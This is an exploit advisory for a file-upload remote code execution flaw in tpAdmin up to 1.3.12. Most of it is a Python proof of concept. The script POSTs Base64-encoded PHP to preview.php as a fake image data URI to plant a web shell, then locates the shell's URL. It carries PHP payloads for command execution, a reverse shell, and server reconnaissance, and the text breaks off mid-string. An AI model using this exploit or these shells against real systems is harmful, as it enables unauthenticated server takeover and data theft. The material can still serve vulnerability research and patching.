============================================================================================================================================= | # Title : tpAdmin ≤ 1.3.12 Remote Code Execution via Arbitrary File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://github.com/yuan1994/tpAdmin | ============================================================================================================================================= [+] Summary : A critical Remote Code Execution (RCE) vulnerability exists in tpAdmin versions ≤ 1.3.12 due to improper validation of file uploads within the preview.php component under /admin/lib/webuploader/0.1.5/server/. The application fails to properly validate file type, MIME type, and executable content when processing Base64-encoded data URIs. An attacker can craft a malicious payload disguised as an image and upload arbitrary PHP code to the server. If the uploaded file is stored within a web-accessible directory and PHP execution is permitted, this results in unauthenticated remote code execution [+] POC : #!/usr/bin/env python3 import requests import base64 import sys import argparse from urllib.parse import urljoin import time class Colors: GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' BLUE = '\033[94m' END = '\033[0m' def print_banner(): """Prints the tool banner""" banner = f""" {Colors.BLUE} ╔══════════════════════════════════════════════════════════════╗ ║ tpadmin RCE Exploit ║ ║ Remote Code Execution via Arbitrary File Upload ║ ║ Discovered by: indoushka ║ ║ Exploit coded for educational purposes only ║ ╚══════════════════════════════════════════════════════════════╝ {Colors.END} """ print(banner) def encode_payload(php_code): """ Encodes PHP code to base64 Args: php_code (str): The PHP code to be encoded Returns: str: The base64 encoded code """ return base64.b64encode(php_code.encode()).decode() def upload_shell(target_url, php_code, output_file=None): """ Uploads a shell to the target server Args: target_url (str): The base target URL php_code (str): The PHP code to upload output_file (str): The resulting filename (optional) Returns: tuple: (Success status, shell link, message) """ vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php" full_url = urljoin(target_url, vuln_path) encoded_code = encode_payload(php_code) payload = f"data:image/php;base64,{encoded_code}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Connection": "keep-alive" } try: print(f"{Colors.YELLOW}[*] Sending payload to: {full_url}{Colors.END}") response = requests.post( full_url, headers=headers, data=payload, timeout=10, verify=False ) if response.status_code == 200: import re url_pattern = r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+' urls = re.findall(url_pattern, response.text) shell_url = None for url in urls: if '.php' in url: shell_url = url break if not shell_url: filename_match = re.search(r'([a-f0-9]+\.php)', response.text) if filename_match: filename = filename_match.group(1) shell_url = urljoin(target_url, f"/public/uploads/{filename}") return True, shell_url, "File uploaded successfully" else: return False, None, f"Upload failed: {response.status_code}" except requests.exceptions.Timeout: return False, None, "Connection timed out" except requests.exceptions.ConnectionError: return False, None, "Failed to connect to the server" except Exception as e: return False, None, f"Error: {str(e)}" def generate_php_shell(shell_type="simple"): """ Generates PHP shell code of various types Args: shell_type (str): Shell type (simple, system, reverse, full) Returns: str: PHP code """ shells = { "simple": """""", "system": """System Command Executor"; if(isset($_REQUEST['cmd'])) { echo "
";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "";
die;
} else {
echo "Usage: ?cmd=command";
}
?>""",
"reverse": """$sock, 1=>$sock, 2=>$sock), $pipes);
?>""",
"full": """tpadmin RCE Shell - CVE-2026-2113";
echo "";
echo "OS: " . php_uname() . "\\n";
echo "User: " . get_current_user() . "\\n";
echo "PHP Version: " . phpversion() . "\\n";
echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\\n";
echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
echo "";
// Command Execution
if(isset($_REQUEST['cmd'])) {
echo "";
$cmd = $_REQUEST['cmd'];
system($cmd);
echo "";
}
// Simple UI
echo "